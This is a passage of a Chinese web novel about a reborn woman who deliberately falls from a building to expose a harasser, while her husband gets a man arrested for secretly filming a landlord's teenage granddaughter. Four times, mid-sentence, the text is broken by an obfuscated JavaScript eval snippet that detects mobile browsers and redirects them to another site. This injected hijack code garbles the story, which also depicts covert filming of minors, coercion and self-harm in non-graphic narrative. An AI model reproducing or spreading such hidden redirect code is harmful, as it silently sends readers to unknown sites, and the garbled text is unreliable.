其实他现在已经不用做其他杂活,除了他自己之外,后厨里其他师傅和上面的领导都觉得他手艺很好,要不然也不能入职没多久就让他上灶炒菜。 有时候天赋这东西真没法讲道理,有天赋还努力,真没什么事做不成的。 只有他自己觉得自己学厨的时间太短,基本功不够扎实,需要多练。 因此几乎每天都会提前来帮忙,顺便练练基本功。 “是啊,”宁绍明习惯了同事这些不带恶意的调侃打趣,好脾气地点头,“多练练总没坏处。” 旁边另一个师傅闻言转头说:“怪不得人家宁师傅来这里三个月就能上灶台呢!” 那师傅顺便借机用他来教育自己打荷好久都没够格碰灶台的徒弟:“你们几个,看看人家再看看自己,多跟人家学着点,要是能有这份努力的劲头,至于快一年了,还只能领打荷的工资?” 宁绍明听着这话感觉怪尴尬的,也不知道该说什么,总觉得说什么都不合适。 他不喜欢被人用来当做教训其他人的参照对象。 要是被教训的人性格随和、心胸宽还好,如果遇上被批评后容易心生埋怨的人,他就得被人埋怨记恨上了。 还是今天排到早班的黄文发哈哈笑着凑过来插科打诨,话语间把那灶台师傅的徒弟一个个不重复地换着花样夸了个遍,才把这个话题岔过去。 黄文发跟他是从小好得穿一条裤子长大的发小。 两人同年出生、同年结婚,连第一个孩子都是同一年生的,只是月份不同。 两人带着老婆出来打工,租房也是两家一起合租。 他们租的那房子总共两层,砖瓦木质结构,楼梯也是老木梯。 黄文发夫妻住楼上,宁绍明跟赵如月住楼下的房间,共用客厅、厨房和厕所。 话题被岔开后,宁绍明稍稍松了口气,悄悄给发小使了个眼神,无声表示感谢。 然后问他:“你们今天要做什么?我帮你消耗一点。” 黄文发在与人打交道方面十分擅长,但是在厨艺一道就没什么天赋了,为了能多挣钱才硬着头皮坚持下来。 他就等着宁绍明来帮忙呢:“今天有人订团餐,要切不少土豆丝和胡萝卜丝,团餐优惠大价格低,对刀工要求不高,就让我来了。” “哦对了,还有阿强他们午饭想吃水煮肉片和麻婆豆腐,他们说这些辣菜你煮得最够味,让我来问问今天能不能让你来掌勺!” 做员工餐也是宁绍明练手的途径之一,不管是不是轮到他负责,他都会来帮忙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428314|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往常如果负责员工餐的师傅,如果自己不打算吃员工餐的话,要么做得有些敷衍,要么叫自己的徒弟做,让徒弟们练练手。 做出来的菜,味道倒不能说差,只是肯定没有用心制作的菜好吃。 而且他们酒店主打粤菜,后厨里粤菜厨师占大多数,平时做的饭菜偏清淡,好一口原汁原味。 可是酒店基层员工里有不少人来自云贵川湘赣,多数偏好一口辣味。 宁绍明愿意听同事的建议,也愿意跟他们学不同地区的各种菜式,而且做每一道员工餐都会当成给酒店贵宾做菜那样认真,利用这个机会锻炼手艺,意外地因此获得不少同事的好感。 听到同事们点的菜,宁绍明一如既往地没拒绝,只是不由笑问:“这种天气吃辣的菜,不怕热气上火?” “没事,”黄文发指了指旁边的一个保温桶,“今天一早吴师傅就煲了一大桶凉茶,站在旁边闻,那空气里都泛着苦味,愿意喝的客人肯定不多,最后还是要靠我们员工消耗掉,员工餐另外还有两个菜,你做点清淡下火的不就好了?” “行,那今天中午就做这些菜。”答应中午给他们做水煮肉和麻婆豆腐后,宁绍明就开始埋头干活了。 ‘咚咚咚咚咚’砧板发出有节奏的切菜声,没多会儿,一个土豆被切成均匀的细丝,放到清水里浸泡去除淀粉。 宁绍明重复着这一过程,渐渐地沉浸并享受其中。 不止过了多久,突然听到有人问:“宁绍明在吗?” “我在!”宁绍明应了一声,抬起头看过去,竟然是酒店负责接电话的话务员。 酒店话务员站在后厨门口,往里探头说:“宁绍明,有电话找你。” 接着催促他:“快点跟我走,先别干活了,医院打来的电话,说你老婆受伤了,正在医院接受治疗,让你赶紧去一趟!” 宁绍明一听,什么也顾不上了,立刻放下手里的活,急忙跟着话务员去办公室接电话,黄文发见状也跟着他一起跑出去。 两分钟后,黄文发急匆匆跑回来,找到厨师长李师傅帮宁绍明请假。 而宁绍明已经往员工放个人物品的隔间跑去,路上跑得太快,地上滑,差点又摔一跤。 他边跑边掏口袋,手都在发抖。 好在顺利地打开了自己的那格储物柜,宁绍明顾不上换下厨师服,拿出钱包就往酒店外冲。 酒店为了维持高端的格调,不让三蹦子和摩的停在门口拉客,门口只停着出租车。 以往宁绍明可舍不得花钱坐出租车,出门要么走路,要么坐公交车,偶尔跟老婆一起出去玩才舍得坐三蹦子,还要跟骑车的师傅来回砍价一番。 现在这情况,他也顾不上省钱了,直接钻进最近的出租车,气没喘匀、屁股也没坐稳,着急忙慌地说了要去的医院后,催着司机师傅赶紧开车。 司机师傅一看乘客这焦急的样子,又听他说的地址是医院,猜到他家人八成是遇到了什么要紧的事进医院了。 这可耽误不得,当即也不含糊,油门一踩,车子疾驰而出。 5. 第 5 章 赵如月承认自己如今的想法和做法有些极端,心态也有些不太对劲,做事带着点狠劲。 所以在搞清楚卢秋英要做什么之后,她就打算豁出去赌一把,即使自己会受伤,她赌自己掉下二楼大概率不会死,毕竟上辈子她在毫无防备的情况下也没死。。 也许在上辈子丈夫离世,她一个人当爹又当妈,扛起一个家的时候,她的心理就不太正常了,只是自己一直没意识到。 后来她在网上发帖子抱怨哭诉儿女不孝,网友一针见血地指出她的毛病,才让她意识到自己的问题所在。 虽然那时候她跟个犟驴一样,固执地不愿意承认自己的毛病,还嘴硬跟网友吵架、回怼网友。 但是其实她心里清楚,有些网友说的话难听归难听,却没说错。 摔下去后以及发现自己在医院清醒后,赵如月就知道自己果然赌赢了。 可重生不是成仙,她也不是钢铁人,受伤在所难免。 赵如月听到门外有护士在问:“你是赵如月的家属?” 宁绍明不知道什么时候赶到的,正在答话:“是的,我是她丈夫!” 他回应护士的话时,眼睛不自觉地透过门上的玻璃,看向病房内的妻子。 躺在床上的妻子脸和嘴唇不复以往的红润气色,显然遭了不少罪,看得他揪心。 护士点了点头继续说:“她身上的外伤不算严重,但肚子里的孩子没……” “什么?!!”宁绍明猛回头,一脸震惊地打断了护士的话,“你、你说什么!她、她肚子里有孩子?!” 护士一看他对患者怀孕的事一无所知的震惊模样,顿时就是一激灵,心说可别是什么绿帽事件,到时候又让她们遇上把病人扔医院不管这种事。 好在宁绍明接下来的话打消了护士的担忧:“是不是搞错了?她生完老二几个月后就被计生办的人要求去上环了,怎么还会怀上?” 宁绍明焦急地说:“能不能让医生给我老婆再仔细检查检查?”他担心是其他病被误诊了。 护士看他这么关心老婆,松了口气:“上环也不能保证百分之百避孕,会有极小概率会出现意外怀孕的情况。” 宁绍明了然:“原来是这样……我现在能进去看看她吗?” 护士往里看了一眼,见赵如月行了,点头说:“可以,她已经醒了,你进去吧。”然后离开病房门口去找医生过来。 宁绍明一进去便急忙走到床边嘘寒问暖,看她嘴唇干燥,才想起来自己太着急,跑来医院什么日用品都没准备,只好懊恼地临时去护士站借了个一次性杯子,打算先给老婆兑些温水润润嘴唇。 赵如月看他为自己焦急担忧、为自己忙前忙后的样子,眼眶就忍不住红了。 心里酸涩委屈中带着幸福感动,心情复杂,眼泪又止不住地从脸上滑落。 接水回来的宁绍明看到她哭了,忙不迭放下手上的水杯去安慰她:“没事了没事了,别怕,我刚到警察就告诉我,卢秋英跟那个男的已经被警察抓走了,他们肯定会为自己做的坏事付出代价的!” 宁绍明一想到那两个人做的事,恨不得生撕了他们! 付出代价?赵如月靠在他怀里,心想:如果她不用点手段算计,他们可不一定会付出应有的代价,不倒打一耙就不错了。 男人温暖的体温透过衣服,传递到她的侧脸和靠着他的半边身子,鼻尖是熟悉的味道,让她感受到了满满的安全感。 赵如月正要说些什么,医生却正好推门进来,她只好先把嘴里的话咽回去,那些话可不能让别人听到。 等医生过来看过赵如月的情况,警察也做好笔录离开后。 病房内只剩下他们夫妻俩,赵如月终于能把刚才没说的话说出口。 “摔下楼这事,我是故意的。”她在宁绍明耳边悄声说道。 这话直接让宁绍明呆住了,有些生气她用这么极端的方式,伤害自己的身体。 可想到老婆当时面临的险境,她这么做,也许只是无奈之下的自保,他对此无法说出什么责备的话,只觉得自己真没用,连自己的老婆都没保护好。 “对不起,是我太没……” “不、你很好!”赵如月打断他自责的话。 在宁绍明面前,她从来不需要、也不想掩饰自己的算计:“我们已经有两个孩子了,给老二交超生罚款借的钱,到现在都没还上,肚子里这个,我们交不起罚款,也养不起,所以我就……”利用了这个孩子。 但她不后悔。 赵如月说着话,眼泪又再次止不住地流,她不是一个合格的好妈妈,上辈子两个孩子也这么说。 想到后来跟两个孩子的关系还不如陌生人,她更难过、哭得更凶了。 其实上辈子丈夫没了之后,自己很少哭的,哭给谁看呢?又没人心疼。 眼泪被丈夫轻轻擦拭掉,赵如月哽咽着继续道:“我被高广强骚扰好多次了,以前运气好都躲过去了,可哪有千日防贼的道理。” 对上有钱、有人脉的本地人,他们两个外来打工仔即使是受害者,被欺负了也只能打落牙齿和血吞。 上辈子就是这样,罪魁祸首推出卢秋英这个帮凶,让卢秋英揽下大部分责任后,赔了点钱,依然逍遥法外。 甚至在找了关系打点,又有人给顶罪后,高广强需要赔偿的钱非常少。 他宁愿把钱花在去收买人上面,也不愿意赔给没能吃到嘴里的赵如月。 而卢秋英本身没多少存款,赵如月根本没得到应得的赔偿。 没过多久高广强又故态复萌,继续骚扰她,还耍手段害她和宁绍明丢了工作。 不但如此,高广强竟然花钱找人盯着他们整,每次他们一找到新工作,绝对会被他找来的人搅黄。 她跟丈夫只好躲回老家,可回了老家,也有好长一段时间被这件事情带来的阴云笼罩。 因为卢秋英进去了,她老公还在外面没有受到牵连。 卢秋英给高广强顶罪,高广强是给了一笔钱的,那些钱全在卢秋英老公手上。 这些钱让他不用继续打工也能回老家滋润地过好几年。 在她和宁绍明疲于应对高广强的为难时,卢秋英的老公回了老家,先下手为强,把这事添油加醋到处跟人一通说。 他也挺有心机,也不说自己老婆没错,毕竟卢秋英坐牢是事实,他要是瞎说,跟他们在一个地方打工租房的老乡肯定拆穿他。 卢秋英的老公就添油加醋,说什么‘苍蝇不叮无缝的蛋’、‘你们不知道她在外面多开放’、‘看她长的那个样子,肯定不少老板愿意包养’、‘宁老三那样一个三棍子打不出个屁来的老实人,能管得住她?’之类的话。 在承认了自己老婆犯事的同时,不遗余力地给赵如月泼脏水。 以至于赵如月回老家后,很长一段时间里都被人用有色眼镜来看,拼命解释也没用。 那时候赵如月杀了他再跳河的心都有了。 后来还是卢秋英的老公在外面有人,想用卢秋英坐牢这件事当借口离婚,两人撕起来不管不顾,狗咬狗把内情倒个一干二净,才还了赵如月一个清白。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428315|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可时光无法倒流,谣言造成的伤害无法抹去,也很难治愈。 不过赵如月也因此知道了一些事,不然她再疯狂,也不敢用自己来赌。 回想到上辈子回老家后的遭遇,赵如月咬着牙附在宁绍明耳边说:“卢秋英和高广强虽然已经被抓起来了,但事情还没完,想让他们付出应有的代价,我们必须抓紧时间去做一件事。” 宁绍明看不得她哭,毫不犹豫地说:“你好好休息,有什么事都交给我去办,你想做什么?” “你马上去卢秋英夫妻俩租的房子,然后……”她小声把接下来要做的事情仔细告诉宁绍明,然后催他赶紧去,不用担心医院里的自己。 宁绍明听完,当即找了个回去拿换洗衣服和日用品的借口,跟护士提了一下,请对方帮忙多看顾一点自己老婆,然后马不停蹄地离开医院,往出租房赶去。 回到出租房,他没有回自己家,而是做出一副怒气冲冠的表情,冲到卢秋英夫妻俩租的房子里。 在里面大声怒骂、打砸好一会儿,才回自己的出租屋。 宁绍明在房间里找了找,找出两个行李袋,装上几套给赵如月换洗的衣服。 接着摘下高高的厨师帽,从厨师帽里拿出两盘在卢秋英出租当里找到的光碟,塞进行李袋内袋,才继续收拾一些放家里备用的日用品。 收拾了两行李袋的东西,便出门作势要赶去医院。 没走几步被人拦住了,拦住他的人是房东陆发,附近几栋出租屋都是陆发的房子。 宁绍明皱着眉头问:“陆老板,你拦我干什么?我老婆还在医院等我去照顾呢!” 陆发看起来比他更不高兴:“我听人说你去小孙那里砸东西了?” “是啊,怎么了?”宁绍明提高嗓门满脸愤然地说,“他老婆不干人事,欺负我老婆!砸他东西还算轻的,等他回来我连他一起砸!” “年轻人,火气别那么大,你砸谁我不管,可房子是我的,里面的家具也是我的,你把房子和里面的东西损坏了要赔偿的。” 宁绍明梗着脖子说道:“你找孙洪光赔去!” “我不管你们之间有什么矛盾,我只知道谁砸的找谁赔,”陆发不想了解租户之间的官司,只想选择最有利于自己的解决方式,“他们对不起你们,到时候你们自己找他要赔偿嘛,反正砸东西这事我只找你。” “你、你不讲道理!” 陆发冷哼一声:“哼,我现在就是在讲道理!” 宁绍明不乐意赔,陆发就拉着他不让走,两人拉拉扯扯引来不少人围观。 最后还是宁绍明着急去医院照顾老婆,先妥协了:“行行行,我赔给你,不过我手头没多少钱,还要去医院付医药费,能不能先给一部分,剩下的打个欠条?” 看陆发有些犹豫,宁绍明又说:“我不是刚交三个月房租?如果我不还钱,你大可以把我们赶出去,用那些房租当赔偿。” 卢秋英跟孙洪光租的那房间比较老旧,里面的家具更是不知道多少年前他家淘汰的,宁绍明交的房租覆盖掉赔偿款绰绰有余。 陆发想了想,人家现在正遇到难事,给人逼急了也不好。 于是点头同意了:“看在你们夫妻俩平时老实本分,交房租不拖延的份上,我宽容一回,你跟我去写欠条吧。” 一进门,陆发去书房找纸笔,宁绍明紧紧跟在他身后。 陆发转过头,正要说让他不用跟来书房,就被宁绍明一把推进书房里,咔嚓锁上了门。 这一下子,把陆发吓得冷汗直飚。 6. 第 6 章 “你、你这是要做什么?”陆发说话的声音都在发颤。 宁绍明拍了拍房东的肩膀面无表情地解释道:“陆老板别误会,我没有恶意,只是有一件事想私下跟你说。” “你说你说,有事好商量。”不是被逼急了想动手就行。 陆发稍稍松了一口气,但悄悄瞥了一眼宁绍明健壮高大的身材,也不敢完全放松警惕。 宁绍明从行李袋内袋掏出一盒光盘,光盘的盒上贴着一个标签,上面写着一串编号:lxy001。 “这是我从孙洪光房间里发现的东西,正好你这房间里有影碟机,你把这个放进去打开看看吧,看完再说。” “啊?”陆发被他的举动弄得一头雾水,搞不懂宁绍明为什么突然让自己看碟。 难道是不知道从哪里打听到他爱看香港三级片,想用他没看过的片来请求减少赔偿款? 陆发想了想,如果真是自己没看过的好片,赔偿也不是不能减少。 他拿出光盘放到影碟机里播放。 这所谓的书房,本来就是陆发用来背着家里人看片设置的地方,书少得可怜,平时也不让家里人进来。 显示屏上很快出现画面,那画面有些昏暗,角度十分隐蔽。 明显是偷拍的视角,拍摄的地方看起来像是一间公厕。 这种拍摄方式和拍摄角度,陆发还真没看过。 他立刻被勾起了兴趣,脑子里不断冒出一些偷.情、偷拍、野战、野鸳鸯之类的词汇和刺激的画面,表情很快从警惕变成兴致盎然、隐隐激动。 然而没一会儿,电视画面上出现的人,让他激动的情绪瞬间冷却,愤怒从心头冒起,抖着手指向屏幕:“这这这、你你你……” 屏幕上没有什么偷情野鸳鸯,只有一个十来岁的小姑娘。 光线再昏暗陆发也认得,里面的人赫然是自己刚上高一的孙女。 宁绍明在画面播到小女孩即将要脱裤子上厕所的时候,走过去关掉影碟机。 陆发含着怒气问:“你刚才说,这东西是在孙洪光房间里发现的?” 宁绍明点头:“没错。” 陆发又问:“你之前看过里面的东西吗?” 宁绍明摇头:“没有。” 陆发带着些怀疑继续问:“那你怎么知道里面拍的人是谁?” 孙洪光跟宁绍明是老乡,两个人的老婆以前关系又很好。 陆发有点怀疑是他们两个人一起干的这事。 现在宁绍明的老婆被孙洪光的老婆欺负了,他气不过想跟孙洪光拆伙,才把这东西拿出来想借自己的手收拾孙洪光。 宁绍明想借助他收拾孙洪光是真,但其他的完全是陆发想太多了。 他指了指光盘盒上的编号:“你可以看看光盘盒上面编号的字母。” 陆发看了一眼,没看懂:“我小学都没毕业,哪看得懂这些英国佬的鸟语!” “那不是英语,是汉语拼音的首字母。” 宁绍明看陆发是真不懂,只好拿起他刚预备写欠条的纸笔,在书桌上写出完整的拼音:luxinyi,再在拼音下面写下对应的字:陆心宜。 “你应该知道我老婆跟孙洪光老婆走得近,是她不经意间看到,才发现的不对劲。” 宁绍明点了点纸上的字:“这是你孙女的名字吧?我老婆说近段时间遇到你孙女,总感觉她看着跟以往不太一样,好像在害怕什么,见着孙洪光跟受了惊吓的小兔子一样,以前她可是大大方方的一个小姑娘,从来不会这样。” 其实宁绍明在孙洪光藏光盘的地方,还看到有编号lxy002的光碟。 只是他没拿,所以也不知道陆发的孙女是不是已经被孙洪光胁迫着做了什么。 毕竟他的真正目的是想借助陆发来对付高广强,不是想窥探别人的隐私。 陆发一家住在出租房附近的新自建房里,平时经常能遇到陆家人,他少知道一些,至少以后在路上遇到陆家人不会觉得太尴尬,对受害者也好。 宁绍明拿的两盒光盘,另一盒是跟陆家无关的别家受害者。 他们的打算是,如果陆发对这事不在意,他就去找另一家试试。 只是跟陆发这个住得很近的房东相比,他们跟那家人没多少交集,突然过去说这种事,显得太突兀。 宁绍明以前曾听房东一脸羡慕地提起过那家,说那家阿婆也就比他大几岁,不知道怎么养的孩子,培养的孩子都成才了,现在在体制内工作,有两个职位还不低。 宁绍明目前看陆发的表现,对孙女处境的关心和忧虑不似作伪,不像对这种事不在意的样子,那另一家就没必要再去了。 别看陆发好像没有高广强有钱,但真对上的话,还真不一定落下风。 本地人在本地的人脉弯弯绕绕,没准人家就有个厉害的亲戚。 不过宁绍明留了个心眼,没把另一盒光盘也交给陆发。 如果陆发对这事真上心,应该很快就有警察来找自己询问,到时候警察来找他,到时候直接他把另一个光盘交给警察更保险。 毕竟陆发爱看三级片的毛病,也就他自以为隐藏得很好,实际上这在租户间早就是个心照不宣的秘密,大家都知道他是个有贼心没贼胆的咸湿佬。 另一个光盘里被拍的不是陆发自家人,谁知道他会怎么处理呢? 汉语拼音陆发还是学过的,只是不怎么认真,学得不好,不过人家写出来一些简单的拼音,他多少能看得懂一点。 陆发端详着那几个字,默念了几次,脸色很难看:“这还真是……” 怪不得他最近总感觉孙女有些不对劲。 吃饭的时候听儿子儿媳说,老师也打电话来说这孩子学习状态不好,再这样下去成绩就要下降了,不会是因为被人用这个威胁了吧? 这么想着,他冷汗又冒出来了,十分担心自己孙女真的被人胁迫做了什么不该做的事情。 男人很多时候对这种事总是比较双标的,他自己看片的时候挺来劲,可不代表乐意见到自己家里人出现在片里。 虽然宁绍明说的这个理由不足以让陆发完全相信他,但事实摆在眼前,光盘画面里的人确实是他孙女,眼见为实比说什么都来得有用。 陆发不傻,为了孙女的名声,他知道现在必须先稳住宁绍明夫妻,不让他们到处乱说。 等警察抓住孙洪光一审,里面有没有宁绍明参与到时候就知道了。 如果宁绍明没参与其中自然是皆大欢喜,大不了他多给宁绍明点钱当封口费。 要是宁绍明被查出有参与,他也不会放过他! 陆发想了想说:“我外甥女在派出所工作,这件事我会交给她处理,孙洪光那间房被砸坏的东西不用你赔了,就当是对你的一点小小的感谢,等事情解决后我再带家人一起,正式上门拜访感谢你们,你看怎么样?” 宁绍明不在乎什么感谢,只要能借助陆发的人脉,解决高广强就行:“陆老板的谢意我心领了,不用那么麻烦,时间不早,我还要去照顾我老婆,就先走了。” 至于砸孙洪光房间的赔偿,他才不会上赶着赔,那就该孙洪光夫妻俩赔! 陆发也着急去找外甥女帮忙,闻言忙说:“好好好,你先去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428316|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医院照顾你老婆,有什么需要帮忙的,尽管给我打电话,能帮上的地方,我义不容辞!” 一个多小时后,宁绍明已经在医院里照顾赵如月,孙洪光才听到宁绍明去自己出租房打砸的消息,急匆匆往自己出租房赶。 在即将到家的时候,路上遇到几个老乡。 老乡看到他就拦住他问:“你干什么缺德事得罪宁老三了?” 问的同时也在心里嘀咕:这家伙,他老婆闹出事来,他躲起来好半天不见踪影,家里被砸才多久?回来得倒是快。 “什么叫我干缺德事?”孙洪光听到这话很不高兴,凭什么一定是他干缺德事了? 虽然他早知道卢秋英跟高广强之间不清不楚,今天还要帮高广强办点不光彩的缺德事,但这事他可一点没参与,这也能赖到他身上? “哎呀开个玩笑而已,不用那么认真啦!”老乡其实也不太清楚到底怎么了。 只是平时宁绍明为人更实在,他们这些老乡对他印象好,所以有些先入为主,以为是孙洪光做了什么不好的事,把老实人都惹急了。 见孙洪光真生气了,老乡只好打个哈哈糊弄过去,然后转移话题八卦地问:“今天你不是也休息吗?以前休息日我看你都是在家看电视,今天竟然一大早就出去,自己去哪里玩了?连老婆都不带。” “前几天你还跟说我们几个说,今天一起休息租碟去你家看电影,我们才都把休息日调到今天,结果连你人影都找不到,你家出那么大的事,早就有人用BB机联系你了,你怎么这时候才回来?” 孙洪光有点烦,下意识想说一句关你屁事,想起自己有事还要问人家,又忍下了。 敷衍地讲起自己早就准备好的说辞:“我只是去附近逛逛,看有没有地方适合钓鱼,这不是想着回来的时候顺便租碟再去找你们一起看嘛,我老婆不喜欢我去钓鱼,就没带她,逛的时候没注意,走得远了点,回来需要时间。” 老乡听了暗自撇嘴,这么长时间,就是去羊城都能赶回来了。 孙洪光说完终于找到机会,问出自己最想问的问题:“我听人说宁老三去我家砸东西了,他没偷偷拿走什么吧?” 老乡想了想摇头:“没有,他的人品你还了解?那就不是会偷偷摸摸的人,他空着手进去,空着手出来的。” 孙洪光追问:“也没藏在口袋或者衣服裤子里?” 老乡继续摇头:“他酒店工作服都没来得及换,穿一身厨师服赶回来的,那衣服上根本没口袋,裤子口袋也浅,装点什么一眼就能看出来。” 人家宁老三今天还在上着班呢,都能那么快赶回来,又收拾好东西,跑去医院照顾媳妇儿了。 反观这孙洪光,也不知道他到底在想些什么,人宁老三以前从酒店带回来的好吃的,他们夫妻俩可没少往嘴里塞,现在竟然这么想人家。 再说要不是孙洪光老婆做事不地道,人家能生气跑他家砸东西? 孙洪光半信半疑:“真的啊?你没看错也没记错吧?” 老乡一脸无语:“我骗你能有什么好处?” 孙洪光讪讪地忙摆手:“没有没有,我不是那个意思,你别放在心上,我就是在家里放了点现金,有些不放心才随便问一句,我肯定也相信他不是那样的人,白白多问一句罢了,现在问过不就放心了嘛。” 他着急回家,不走心地胡乱跟老乡扯几句敷衍过去,急忙告辞往自己的出租房赶。 回到出租房,看到满屋狼藉一片,刚买没多久的影碟机也被砸烂了。 孙洪光心痛不已,但他顾不上收拾,赶忙往自己藏东西的地方跑。 7. 第 7 章 “1、2、3、4、5、6、……18、19、20,幸好幸好,一盘都没丢!”孙洪光反反复复数了好几遍,确认数目没错,才放下心来。 只是由于太过紧张,他没注意到其中有两盘光盘贴的标签,上面写的根本不是他写的编号,而是音像店出租影碟的编号。 孙洪光正要长舒一口气,突然听到‘砰’的一声巨响,他被吓得一哆嗦。 刚才锁上的门直接被人暴力踹开。 不等孙洪光细看,他已经被人以迅雷不及掩耳之势钳住双手,反手按在地上,双手关节发出剧痛,一声质问卡在嗓子里,出口的声音变成了哀嚎。 按住他的人厉声到:“警察!别动!” 孙洪光一听,差点没吓尿,但嘴里下意识喊冤:“警察同志,冤枉啊!我、我没犯事啊!你们是不是、是不是抓错人了?” 警察问:“难道你不是孙洪光?” 孙洪光挣扎了几下,反而被按得更疼,他受不了,急忙回答:“是是是,我是孙洪光。” “那就没抓错,”站在旁边的另一个警察向他出示了证件,指着他还没来得及藏起来的光盘说,“有人举报你制作淫.秽.色.情录像并且以此胁迫未成年人,我们现在依法对你进行逮捕!” 孙洪光脸色霎时间变得一片灰暗,他第一反应是想通知高广强,让对方想办法捞自己。 毕竟他只是个听话办事的马仔,那些昂贵的录像设备,光靠他打工赚钱可买不起。 他一开始更连用都不知道怎么用,全靠高广强专门安排的人教。 高广强为什么选择自己,他也是心知肚明,今天更是连设备摆在哪里都是听从高广强的指挥。 那些录像拍好之后,高广强可是除了他之外第一个欣赏的人,成品也是由高广强带走,再刻录到光盘上,大批量复制出售。 这一门赚钱的偏门生意,看似不起眼,更上不得台面,但成本低,供不应求,来钱的速度可不慢。 纵然孙洪光只是这个生意链中不起眼的小虾米,也捞到不少,要不然也舍不得花钱买影碟机。 孙洪光跟那些赃物一起被压上警车。 在去警察局的一路上,他脸色难看地在脑中反反复复地想,该怎么联系上高广强,又该怎么求他捞自己,如果高广强不愿意捞自己,又该如何威胁他。 然而他完全忘了,这时候高广强已经在局子里蹲着,也在等人捞呢。 宁绍明傍晚回来给赵如月做病号饭,租住在附近的老乡们遇到他,逮住他一通问:“你们两口子跟孙洪光两口子怎么了?闹掰了?怎么还惊动警察了?” 有上了年纪、辈分比较大的老乡,算是宁绍明的远房亲戚,刚下班没多久,不太清楚状况。 他以为是女人之间闹出来的矛盾两男人分别给自己女人撑腰这才杠上了。 还劝宁绍明:“大家都是一个地方出来的,拐着弯数也算亲戚,以后回老家低头不见抬头见的,做事最好留一线,有什么事找几个话事人,你们都冷静冷静坐下来心平气和地谈谈,大家一起给你们调解一下不就好了。 我们都站在你们夫妻俩这边的,肯定让孙洪光夫妻给你们一个交代,同乡之间何必闹到找警察处理的地步?” 宁绍明知道他也是好心,只是人有点糊涂,脑子还拐不过弯来,在外面遇上事仍然总是下意识地习惯用老家处理事的方法来办,便耐心解释: “表叔,你不知道孙洪光夫妻俩做的事有多过分,他们犯法了,还涉及到我们房东,这不是谈谈就能解决的事,就算我跟我们家小月愿意,人房东和警察可不愿意。” “啊?他们竟然犯法,还涉及到你们房东!他们到底做了什么,竟然那么严重?”牵扯到房东,他远房表叔顿时不敢说什么给他们调解的话了。 他跟其他老乡都以为,赵如月是不小心撞见卢秋英什么见不得人的事,两人起争执才被卢秋英指使人推下楼的。 因为这段时间,有人看到那个男的跟卢秋英背着人偷摸往小巷子钻过好几次。 这城中村小路七拐八拐的,胡乱搭建的很多,卢秋英以为自己这事做得隐蔽,哪知从她的角度看不到附近有人,人家从另一个角度却能看见她。 出门在外讨生活,大多数人秉承的是能不惹事尽量少惹事的生存法则,现在看来事情真没有他们之前想的那么简单,哪还敢再掺和进去。 宁绍明为了自己媳妇儿的名声也不想多说。 毕竟这种事,女人只要被沾上点边,甭管是不是她的错,她是不是受害者,也会沾一身腥,免不了被人诋毁几句。 他不想自己媳妇儿受这种委屈,便只含糊说道:“现在我也不能乱说,毕竟这不只是我一家人的事,等以后判决下来你们就知道了。” 至于这案子办得是快是慢,得花多长时间,判决什么时候下来,以及判决下来的时候,这些人是否关注还这件事,甚至他们还在不在这一片租房,可都说不好。 老乡们看再问不出什么来了,知道他还要去医院给赵如月送饭,安慰了他几句就识趣地各回各家去了。 陆发一直在自家楼顶上注意着宁绍明这边。 看他这里的人全走了,才提着一个瓦煲走过来:“还没煮菜吧?没煮的话不用再煮了,煮点饭就行。” “我家老婆子下午用她娘家祖传秘方煲了一点猪脚姜,你带去医院给小赵吃吧,这个很补的。”陆发把瓦煲放到灶台上,揭开盖子叫宁绍明找个保温桶来。 说是煲了一点,实际上瓦罐里是满满的一罐,用料很实在,估计就算他们夫妻俩一起吃,两天都吃不完。 宁绍明:“陆老板你太客气了。” “应该的应该的,这不算什么,”陆发摆摆手,满脸谢意,“幸好你及时把那件事告诉我,不然就要糟糕了。” 他这会儿一想起来外甥女告诉自己的事依然顿时遍体生寒。 “那个孙洪光不是什么硬骨头,被带回警局一审,很快就交代了,”陆发提起孙洪光神色满是厌恶,“我是真没想到,租个房子竟然还引狼入室。” “遇到这种租客,确实防不胜防。”这年头谁能想到竟然会有人去那种地方偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428317|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 